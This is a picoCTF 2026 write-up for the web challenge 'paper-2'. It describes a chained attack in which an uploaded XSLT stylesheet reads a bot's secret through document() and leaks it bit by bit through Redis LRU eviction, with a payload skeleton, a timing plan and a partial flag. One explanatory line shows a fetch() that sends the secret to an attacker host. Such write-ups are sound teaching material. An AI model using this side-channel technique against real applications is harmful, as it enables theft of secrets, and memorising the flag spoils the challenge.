Skip to main content

paper-2 picoCTF 2026 Solution

A hard web exploitation challenge chaining multiple advanced vulnerabilities to exfiltrate a secret from a hardened app.

Published: March 20, 2026Updated: September 20, 2026

Description

A piece of paper is a blank canvas, what do you want on yours? Source code: paper-2.tar.

Download and extract paper-2.tar.
Read the source code to understand the app's architecture: XSLT upload, Redis caching, bot visit flow, and CSP headers.
bash
tar -xf paper-2.tar
bash
cat app.py
bash
cat *.xml *.xsl 2>/dev/null

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Understand the attack surface
    Observation
    The app combines XSLT upload, a bot visitor carrying an auth cookie, and a CSP of script-src none with default-src self. No JavaScript, no cross-origin exfiltration. That leaves a same-origin read paired with an out-of-band leak channel.
    The app stores a bot's secret cookie in Redis with a 60-second TTL and allows XSLT stylesheets to be uploaded. CSP is set to script-src 'none' and default-src 'self', blocking JavaScript and external exfiltration. XSLT stylesheets can use document() to fetch the /secret endpoint with the bot's auth context, reading the secret from the HTML. The challenge is exfiltrating this same-origin data with no JS and no external URLs.
    bash
    cat app.py
    What didn't work first

    Tried: Try to use fetch() or XHR inside the XSLT to exfiltrate the secret to an external server.

    With script-src none and default-src self, the browser blocks JavaScript execution and cross-origin requests before either can fire, and the bot enforces that on the rendered page, so even an XSLT-generated script tag is inert. The path forward avoids JavaScript entirely and uses Redis access patterns as the channel.

    Tried: Inject an XSS payload into the XSLT output hoping the bot's cookie is accessible via document.cookie.

    Even a rendered script tag would not execute: script-src none blocks it unconditionally, with no inline exception. The bot's cookie is also HttpOnly, invisible to JavaScript regardless. The one workable read is XSLT's document(), which fetches /secret in the bot's auth context without JavaScript at all.

    Learn more

    Content Security Policy (CSP) is an HTTP response header that instructs browsers to only load resources (scripts, images, stylesheets, fonts, etc.) from specified origins. script-src 'none' blocks all JavaScript execution, and default-src 'self' restricts all other resources to the same origin. This makes traditional XSS-based data exfiltration impossible - you can't run fetch(attacker.com, {body: secret}).

    XSLT (XSL Transformations) is an XML-based language for transforming XML documents. The critical function here is document(url), which fetches an external XML or HTML document and makes it available for processing within the stylesheet. Because the XSLT processor runs server-side or in the bot's browser context, document('/secret') fetches the secret with the bot's authentication cookies attached - a same-origin read that CSP does not block.

    The CSP restriction creates an unusual constraint: you can read the secret within the XSLT transformation, but you cannot send it to an external server. The solution must use an entirely different channel to leak information out - in this case, the Redis LRU eviction side-channel.

  2. Step 2Prepare marker pairs and prefill the Redis LRU buffer
    Observation
    Redis is set to evict least-recently-used keys first. Pre-upload marker pairs and dummy files so the zero markers are already old when the bot visits, and only the markers the bot touched survive the eviction sweep.
    Upload two markers per bit (one for 'this bit is 0', one for 'this bit is 1') across 10 redundant replicas, then prefill with dummy files so the LRU clock is well-aged before the bot visit.
    python
    python3 solve.py --phase prepare
    bash
    # Uploads marker pairs and dummy files to establish LRU baseline

    A marker pair is two file uploads, one per possible value of a bit. The upload endpoint is POST /marker/bit<N>_<bit_value>: e.g. /marker/bit0_0 and /marker/bit0_1. Each upload is a ~20 KB blob the server stashes in Redis as a single key. There are 128 secret bits (32 hex characters) × 2 values × 10 replicas = 2,560 marker keys total before the bot ever runs. (The numbers vary across instances; the structure does not.)

    What didn't work first

    Tried: Upload only one marker per bit (no redundant replicas) to keep the setup phase fast.

    With one replica per bit, a single stray eviction or reordered timestamp flips that bit unrecoverably, and getdel gives you no second attempt. Ten replicas with a majority vote absorb the roughly five percent per-key noise in LRU ordering under concurrent writes. Cut the replicas and getting all 128 bits right in one shot stops being likely.

    Tried: Skip the prefill dummy-file step to save time before the bot visit.

    Without aging the markers first, both sets carry the same timestamp when the bot runs, so after it touches the ones the ordering between the two sets is indistinguishable. The prefill deliberately makes the zero markers much older, which is what tells Redis which set to evict when the postfill pushes past the memory limit.

    Learn more

    Redis LRU eviction is a memory management policy where Redis automatically deletes the Least Recently Used keys when it reaches its memory limit (maxmemory). The allkeys-lru policy applies this to all keys regardless of TTL. The crucial property for this attack is that accessing a key (via GET, GETDEL, or even just rendering an image that causes a server-side Redis lookup) updates that key's "last used" timestamp.

    The attack uses Redis as an implicit output channel: the XSLT stylesheet conditionally accesses certain Redis keys based on the secret's bit values. After the bot visits, keys that were accessed have a fresh LRU timestamp and survive eviction; keys that were never accessed are old and get evicted. By checking which keys still exist, you reconstruct which bits are 1 and which are 0.

    The 10-replica design provides majority voting to handle noise: if 6+ of the 10 replicas for a bit survived eviction, call that bit 1. The math: assume an independent failure rate of ~5% per replica (occasional out-of-order eviction, lost requests). The probability of 5+ failures out of 10 is about 0.006% per bit. Across the 128 bits the chance of any bit being miscalled is ~1%, low enough that you usually get the secret right on the first /flag attempt. Drop replicas to 5 and that error blows up to ~10% per attempt.

  3. Step 3Deploy the XSLT payload
    Observation
    XSLT's document() fetches /secret using the bot's own auth context, and xsl:if with contains() tests individual characters without any JavaScript. Encode each bit as a conditional img tag that touches a Redis key only when the bit is set.
    Generate XSLT documents using <xsl:if> with contains() and substring() to test each hex character of the secret. For each bit that tests true, the stylesheet conditionally renders an <img> tag pointing to the corresponding '1' marker (which performs a Redis get(), refreshing its LRU timestamp). False bits leave the '0' markers untouched.
    bash
    # XSLT payload structure:
    bash
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
      <xsl:template match="/">
        <xsl:variable name="secret" select="document('/secret')//span[@id='secret']"/>
        <xsl:if test="contains('0123456789abcdef', substring($secret,1,1))">
          <img src="/marker/bit0_1"/>
        </xsl:if>
        <!-- ... repeat for each bit position -->
      </xsl:template>
    </xsl:stylesheet>
    python
    python3 solve.py --phase payload
    What didn't work first

    Tried: Use xsl:value-of to write the secret directly into the rendered page output and read it from the bot's DOM.

    The rendered page exists only inside the bot's renderer, and nothing reads that DOM from outside: no JavaScript, no callback URL, no return channel at all. The marker fetches matter because they leave observable Redis state that you can query on your own after the session ends.

    Tried: Use contains($secret, '0') to test whether the digit '0' appears anywhere in the secret string, then branch on that.

    contains() over the whole string says only whether a character appears somewhere, not where. A long enough secret contains every hex digit at least once, which makes the test useless for positions. Extract the Nth character with substring, then test which subset of hex digits it belongs to for a positional bit-level signal.

    Learn more

    XSLT conditional rendering (<xsl:if>) is key to this side channel. The substring($secret, N, 1) function extracts the Nth character of the secret hex string. The contains('0123456789ab', char) predicate tests whether that character is in a specific set of hex digits, effectively probing individual bits of the secret without any JavaScript.

    The <img src="/marker/bit_N_1"/> tag causes the browser (running as the bot) to make a GET request to the server for that marker image. The server processes this GET request, performs a Redis lookup for the marker key, and returns the image data. This Redis lookup is the crucial access that refreshes the LRU timestamp.

    The bit decomposition converts each hex character (4 bits) into 4 binary decisions: 32 hex chars × 4 bits = 128 bits total. Each bit position N gets one XSLT contains() test against the subset of hex digits where that bit is 1. For example, bit 3 (the high bit of a hex digit) is 1 for the digits {8, 9, a, b, c, d, e, f}, so the test is contains('89abcdef', substring($secret, position, 1)). Bit 0 (the low bit) is 1 for {1, 3, 5, 7, 9, b, d, f}, and so on. This binary representation is critical because contains() can test set membership but not arbitrary comparisons. By decomposing into bits you reduce each test to a simple yes/no question answerable with XSLT's limited string functions. For more on these CSP-style web side-channels see Web challenges and real-world bug patterns.

  4. Step 4Trigger the bot and run eviction
    Observation
    The bot's session lives 60 seconds, and starting the postfill before it finishes fetching markers evicts ones that have not been refreshed yet. Leave a quiet window between the visit and the postfill.
    Submit your XSLT page to the bot, wait for every marker GET to land in Redis, and only then start the postfill that pushes maxmemory over the limit. Get the timing wrong and you evict the wrong markers.
    python
    python3 solve.py --phase trigger
    bash
    # Submits page to bot, waits ~30s, then uploads postfill to trigger eviction

    Concrete timing budget for a 60s session TTL:

    • t=0s: submit XSLT to the bot.
    • t=0..25s: bot fetches markers; each GET refreshes that key's LRU timestamp.
    • t=25..30s: quiet window. Do nothing. Lets every in-flight marker GET settle into Redis before any postfill writes change LRU ordering. Skipping this window is the most common reason runs fail.
    • t=30..50s: postfill begins. Ramp uploads in parallel until Redis crosses maxmemory and starts evicting.
    • t=50..58s: HEAD-probe markers to record survivors. Stop probing before the 60s TTL expires so you don't accidentally re-touch keys you haven't yet read.

    The pre-fill from the previous step matters for the same reason: it ages every "0" marker to be older than the "1" markers the bot just touched, so the LRU evicts the right set.

    What didn't work first

    Tried: Start the postfill immediately after submitting the page to the bot without waiting for the quiet window.

    Start the postfill while the bot is still fetching and Redis begins evicting before every marker timestamp has updated, displacing one the bot has not reached yet and reading that bit as zero. A quiet window of 25 to 30 seconds lets every in-flight request land before any eviction pressure arrives.

    Tried: Use GET requests instead of HEAD requests to probe marker survival after the postfill.

    A GET against a surviving marker performs a Redis lookup and refreshes its timestamp. Probe a zero marker that happened to survive and you make it look freshly used, so it survives further pressure and corrupts the signal. HEAD answers from key existence without touching the key, which keeps the state frozen through recovery.

    Learn more

    The timing of this attack is critical. The 60-second TTL on the bot's session means you have a hard deadline: the XSLT must process and all marker accesses must complete within that window. The ~25-second loading time for the conditional image requests is the main bottleneck - this is the time the bot spends rendering the page and fetching all the "1" markers.

    The postfill phase is what triggers the actual eviction. By uploading thousands of large (60 KB) dummy files, you push Redis past its configured maxmemory limit. Redis then begins evicting keys in LRU order - oldest first. The untouched "0" markers (which were last accessed during the prepare phase, before the bot visit) are older than the recently-accessed "1" markers, so they get evicted first.

    The timing between "bot finishes" and "postfill starts" is delicate: you must wait long enough for all marker requests to complete (so LRU timestamps are updated), but you must upload the postfill before the 60-second TTL expires (so the session is still valid during the XSLT processing). This is why the solve script has carefully tuned wait times.

  5. Step 5Recover the secret with HEAD requests
    Observation
    A GET probe refreshes the timestamp of any marker that survived, corrupting the signal, and the flag endpoint uses getdel so there is exactly one attempt. Probe with HEAD, and take a majority vote across all ten replicas before submitting.
    Issue HEAD requests to all 2,560 markers. Alive markers (a 200 response) were accessed by the bot = bit is '1'. Evicted markers = bit is '0'. Use majority voting across 10 replicas per bit to reconstruct the full 32-character hex secret. Submit it to /flag - the endpoint uses getdel so you only get one attempt.
    python
    python3 solve.py --phase recover
    bash
    # Queries all markers, reconstructs secret via majority vote, submits to /flag

    Expected output

    picoCTF{...}
    What didn't work first

    Tried: Use GET requests to probe all 2,560 markers to check which ones are alive.

    GET probes refresh the timestamps of whatever survived, which corrupts the channel mid-read: any surviving zero marker you touch may then outlast a genuine one in the next eviction. HEAD answers from a Redis existence check, which does not update the key's LRU timestamp, preserving the ordering that encodes the secret.

    Tried: Guess the secret as a majority vote but submit immediately when a single replica per bit is confirmed, without waiting for all 10 replicas.

    Voting over a subset of replicas amplifies the per-bit error: check three of ten and one surviving zero marker flips a bit. With getdel giving no second attempt, one wrong bit wastes the run. Check all ten and require six alive before calling a bit set, and the error probability drops low enough to trust.

    Learn more

    The recovery phase uses HTTP HEAD requests (which fetch only headers, not body) to check whether each marker key still exists in Redis. A 200 response with content indicates the key is alive (bit = 1); a 404 or empty response indicates the key was evicted (bit = 0). Using HEAD instead of GET avoids accidentally refreshing the LRU timestamps of the remaining "0" markers during recovery.

    The majority voting scheme with 10 replicas per bit handles noise from imperfect eviction ordering. If a bit's "1" marker was accidentally evicted (false negative) or a "0" marker survived (false positive), the other 9 replicas provide redundancy. Requiring 6+ out of 10 alive replicas to call a bit "1" gives a low error probability assuming eviction is roughly LRU-ordered.

    The single-attempt constraint on /flag (via Redis getdel) is the highest-stakes element of the challenge. It means you must reconstruct the secret correctly on the first try. This motivates all the engineering around replicas, timing, and majority voting - there is no retry if the reconstruction is wrong.

    This attack is a beautiful example of a cache side-channel: information leaks not through direct output but through observable differences in cache state (which keys survived eviction). Similar techniques appear in CPU cache timing attacks like Spectre/Meltdown, DRAM-level Rowhammer attacks, and distributed cache timing attacks against web applications.

Interactive tools
  • URL Encoder / DecoderEncode and decode URL-encoded (percent-encoded) strings. Useful for web exploitation challenges involving query parameters, form data, and HTTP headers.
  • Hex ViewerView text or raw hex bytes as a xxd-style hex dump with byte offset, hex columns, and ASCII sidebar. Highlights printable characters and null bytes.
  • Frequency AnalysisAnalyze letter frequencies in a substitution cipher and interactively build the decryption mapping with auto-filled guesses.

Flag

Reveal flag

picoCTF{i_l1ke_frames_on_my_canvas_...}

Paper-2 is an XSLT + Redis LRU side-channel attack. Since CSP blocks JS and external URLs, XSLT's document() function reads the secret in-origin, and Redis eviction patterns leak which bits were accessed by the bot. The 60-second TTL and single-guess /flag endpoint make this a precision timing attack. The suffix after i_l1ke_frames_on_my_canvas_ is a 32-char hex secret generated per instance.

Key takeaway

A cache side-channel leaks not through output but through observable differences in internal state after a secret is processed. When a strict CSP closes every direct exfiltration path, eviction order becomes the output: which keys survive encodes which branches ran while the secret was in scope. Spectre, PRIME+PROBE against shared caches, and timing inference attacks all rest on the same idea, that resource consumption correlates with secret values.

Related reading

Useful tools for Web Exploitation

Where to go next